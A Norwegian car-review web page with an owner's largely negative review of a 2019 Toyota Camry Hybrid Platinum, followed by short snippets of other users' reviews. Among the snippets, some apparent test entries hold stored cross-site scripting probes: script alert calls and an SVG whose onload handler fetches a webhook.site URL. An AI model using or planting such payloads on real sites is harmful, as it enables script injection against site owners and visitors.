Hvilken bil ser du etter?

Tilbake til front | Skriv en vurdering
2019 Toyota Camry Hybrid Platinum Sedan Bensin/Batteri

Vurdert av Frotvedt

Score 6/10

Kunne jeg godt tilbake og gjort kjøpet igjen hadde jeg ikke kjøpt denne bilen. Savner min gamle 1998 Camry den virket bedre skrudd sammen og jeg er usikker på om all denne elektronikken på bilen vil vare de 10 årene jeg har tenkt til å eie denne bilen. Har også blandede erfaringer med det lokale Toyota verkstedet så tar servicer hos en annen Toyota forhandler. Verditapet på bilen vil trolig være høyt siden dette er en sedan som ikke er det mest attraktive i markedet. Kjenner jeg nordmenn rett så vil kombinasjonen av sedan og mangel på hengerfeste være særlig negativt. Basert på å ha eid bilen i nesten ett år vil jeg si at den ikke lever opp til forventingene og jeg vil ikke anbefale noen å kjøpe denne bilen. Jeg tror heller ikke at ambisjonene om å eie denne bilen i minst 10 år vil bli oppfylt. Er du glad i bil og bilen er mer enn et transportmiddel fra A til B så styr unna. Detter er en kjedelig, traust og gammeldags bil med elendig opplevd kvalitet. Som en fan av Toyota’er fra 90 tallet og spesielt en 1998 Camry så er det vondt å si dette men det er min oppriktige mening.

Kjøreglede

5 / 10
Ligger bra på veien uten å overraske men den er uten tvil en kjedelig Toyota. Dunlop sommerdekkene som sitter på bilen originalt er ikke mye å skryte av. Setene er gode men mangler memory og sitteputen er ikke justerbar i lengderetningen. Det er en vesentlig forskjell i akselerasjonen mellom normal og eco modus. Den radar styrte cruisekontrollen er for sensitiv på motorvei den bremser feks ved forbikjøring av trailere som ligger i det andre feltet. Så jeg må si bilen skuffer stort og oppleves ikke som en Camry den minner mer om en Avensis. Så denne bilen er skuffende med tanke på konkurrenter og pris en Skoda Superb oppleves blant annet som et bedre alternativ. Skulle man trekke frem noe positivt er det uten tvil motoren.

Kvalitet/driftssikkerhet

5 / 10
Aldri vært noe problemer med bilen men den har ikke helt premium finish på interiør og infotainment systemet. Infotainment systemet må ha hentet inspirasjon fra en tidlig Nokia smart telefon. Lakken er av dårlig kvalitet og biler blir fort ripete til tross for forsiktig vasking og Toyota Protect lakkforseiling. Har også opplevd steinsprut i toppen av hjulbuer bak noe som oppleves som merkelig. Jeg har ikke hatt problem med steinsprut i hjulbuer på andre biler. Har også tatt opp dette med lokal forhandler på epost og de avfeier problemet. Langt unna den kvaliteten man forventer av en Toyota og spesielt en Camry. Så om infortainment systemet, bygg kvalitet eller lakken er dårligst kan sikkert diskuteres.

Plass/praktiske løsninger

7 / 10
Platinum utgaven kan ikke legge ned baksetene siden disse er elektriske. Det er heller ikke en skiluke. Usikker på om jeg får tak i et takstativ til bilen. Så om jeg skal på skiferie må jeg nok kanskje låne en annen bil. Bagasjerommet er stort og hybrid batteriene er under setet. God plass i baksetene. Det er ikke mulighet for hengerfeste og det er en sedan så dette trekker ned. Velger du Platinum utgaven som dette er får du ikke lagt ned baksetene siden de er elektriske.

Økonomi/kostnader

5 / 10
Kjøpt med service avtale så bilen har foreløpig ikke kostet meg en krone. Kjøpte også bilen som hadde gått som en demobil hos en Toyota forhandler så jeg slapp det verste verditapet. Tror ikke annenhåndsverdien på denne bilen blir mye å skryte av siden det er en sedan. Igjen dette med opplevd kvalitet trekker ytterligere ned og med tanke på lakk kvalitet er jeg redd for rust. Dette er ikke vanlig bekymringer for en Toyota og dette skal være flaggskipet men den oppleves ikke som det.

Drivstoff/forbruk

8 / 10
Ligger på under 0.5 liter på mila på langkjøring noe som er veldig bra for en så stor bil. Småkjøring over 0.5 liter på mila i alle fall i mitt bruk. Bruker mindre bensin enn min forrige bil en Jetta Hybrid. Forbruket varierer en del med temperatur så om vinteren må du forvente et forbruk på 0.54 eller noe sånt med fornuftig kjøring og uten alt for mye små kjøring.

Flere vurderinger

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Score 8.4

Vurdert av Knut

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Score 9.0

Vurdert av Siri

Aston Martin DB9 GT (2017)

alert("total")

Score 5.0

Vurdert av test

Aston Martin DB9 GT (2017)

totalvurderingtest

Score 5.0

Vurdert av test

Abarth 500e (2024)

Score 10

Vurdert av Bernt

Abarth 500e (2024)

Score 1.0

Vurdert av xxxfooo4

Abarth 500e (2024)

xxxfooo4

Score 3.0

Vurdert av xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Score 6.2

Vurdert av Bernt

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Score 1.6

Vurdert av Jorsalfar1996

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Score 8.2

Vurdert av Adams

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Score 8.6

Vurdert av Viggo

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Score 8.2

Vurdert av MrP85

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Score 9.4

Vurdert av Renna

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Score 8.8

Vurdert av Autofilen

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km

Score 9.6

Vurdert av Hans